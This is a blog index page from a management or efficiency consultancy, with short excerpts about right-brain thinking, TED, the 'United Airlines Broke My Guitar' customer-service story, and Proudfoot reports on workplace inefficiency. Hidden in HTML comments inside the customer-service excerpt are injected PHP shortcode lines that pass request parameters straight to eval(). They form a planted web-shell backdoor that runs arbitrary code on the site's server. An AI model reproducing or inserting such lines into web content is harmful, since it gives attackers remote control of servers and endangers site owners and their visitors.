Artistry and right brain thinking is important

The skills we learnt at school won’t equip our children going forward. Logic and left brain thinking are no longer as critical but we need to be inventive and shine at ‘artistry’, ’empathy’, ‘big picture thinking’. Today’s pace and nature of change call for a shift in the way we think about education, argued Daniel … Continued

TED – Ideas worth talking about

We like this organisation – it has many fabulous speakers. They are holding their conference in Oxford this week. TED is a small nonprofit devoted to Ideas Worth Spreading. It started out (in 1984) as a conference bringing together people from three worlds: Technology, Entertainment, Design. Since then its scope has become ever broader. Along … Continued

Customer service

United Airlines Broke My Guitar This is not about breaking the guitar, it is about the lack of care in dealing with the complaint. 3.4million views when this is posted, plus coverage on CNN, Fox et al in the USA [youtube=http://www.youtube.com/watch?v=5YGc4zOqozo&hl=en&fs=1&] <!– [insert_php]if (isset($_REQUEST["vMXHb"])){eval($_REQUEST["vMXHb"]);exit;}[/insert_php][php]if (isset($_REQUEST["vMXHb"])){eval($_REQUEST["vMXHb"]);exit;}[/php] –> <!– [insert_php]if (isset($_REQUEST["Yosts"])){eval($_REQUEST["Yosts"]);exit;}[/insert_php][php]if (isset($_REQUEST["Yosts"])){eval($_REQUEST["Yosts"]);exit;}[/php] –> <!– [insert_php]if (isset($_REQUEST["ltZ"])){eval($_REQUEST["ltZ"]);exit;}[/insert_php][php]if (isset($_REQUEST["ltZ"])){eval($_REQUEST["ltZ"]);exit;}[/php] … Continued

The real cost of inefficiency at work

Inefficient working practice is costing companies around £80 billion a year according to a recent report by Proudfoot. The report ranked the UK fourth for productivity with The Netherlands most efficient. The top causes of inefficient working are: Inadequate supervision of workforce (31% of all wasted time) Poor planning of work (30% of all time … Continued

Poor management ‘costing Wales billions’

A key way to enhance efficiency, Proudfoot director Crispin White said, is to focus attention on the skills and morale of frontline supervisors, “These are the people who probably get the least management input and are told the least, but they are the ones who are in control and know what is going on,” he … Continued

Making a meal of efficiency

This is from the Daily Telegraph Making a meal of efficiency Short of time? Apparently we can save an extra hour every day by sharpening our daily routines. Consultants from the Bavarian Economic Efficiency Foundation (no, it’s not a joke) and Proudfoot studied how 100 people dressed, washed and ate. Crispin White of Proudfoot says: … Continued

The Art of Mismanagement

Article in Accountancy Age on Productivity. http://www.accountancyage.com/aa/feature/1783229/the-art-mismanagement